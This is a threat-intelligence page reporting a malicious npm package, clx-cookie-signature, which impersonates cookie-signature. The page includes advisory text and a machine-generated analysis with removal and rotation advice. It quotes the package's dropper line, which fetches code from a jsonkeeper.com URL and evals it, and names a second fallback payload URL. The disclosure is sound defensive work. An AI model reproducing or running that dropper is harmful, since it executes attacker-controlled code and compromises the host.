Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

Malicious code in clx-cookie-signature (npm)

0
Critical
Published: 06/18/2026 (06/18/2026, 22:28:34 UTC)
Source: GCVE Database
Product: clx-cookie-signature

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9e0e91601d276764067b1b209efd17a1f59ef03ff4fc814bcb22c495f4a0f9b3) Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk <[email protected]>', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues `require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); })`, eval'ing whatever JSON the author currently hosts at that URL. A helper `g()` (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process. ## Source: ghsa-malware (b6f8bcf9ace189d38ea749fd2cf087f05e80dbb540c2c7b3bb0466e30a269008) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Affected software

npmghsa
clx-cookie-signature
Affected versions
=1.2.1

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/11/2026, 12:37:20 UTC

Technical Analysis

The clx-cookie-signature package (version 1.2.1) is a malicious npm package impersonating the popular cookie-signature library by copying its README, author metadata, and API. Its index.js contains a top-level dropper that immediately executes upon require(), fetching JavaScript code from a mutable external URL (https://www.jsonkeeper.com) and evaluating it via eval(). This allows the attacker to run arbitrary code in the context of the consuming process. The package also includes an obfuscated fallback payload URL, enabling dynamic and persistent malicious payload delivery without republishing the package. This is a clear case of a malicious package designed for remote code execution through supply chain compromise.

Potential Impact

Any project that installs and requires clx-cookie-signature version 1.2.1 runs attacker-controlled code, resulting in full compromise of the host system. The attacker can execute arbitrary commands, potentially stealing secrets, credentials, or other sensitive data. The compromise is severe enough that all secrets and keys on the affected system should be considered exposed and rotated immediately from a trusted environment. Removing the package alone may not fully remediate the compromise due to potential persistence mechanisms installed by the attacker.

Mitigation Recommendations

There is no official patch or fix available for this malicious package. The recommended action is to immediately remove clx-cookie-signature version 1.2.1 from all systems. Consider all systems with this package installed as fully compromised. Rotate all secrets and keys from a clean, uncompromised environment. Audit affected systems for additional malicious software or persistence mechanisms. Avoid installing packages with suspicious or typo-squatting names and verify package authenticity before use.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-6141
Osv Schema Version
1.7.4
Aliases
["GHSA-vwwm-x6xj-cfmf"]
Ecosystems
["npm"]
Database Specific Severity
null
Cvss Version
null

Threat ID: 6a42ed2627e9c7971993459d

Added to database: 06/29/2026, 22:09:42 UTC

Last enriched: 07/11/2026, 12:37:20 UTC

Last updated: 07/27/2026, 12:26:14 UTC

Views: 17

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses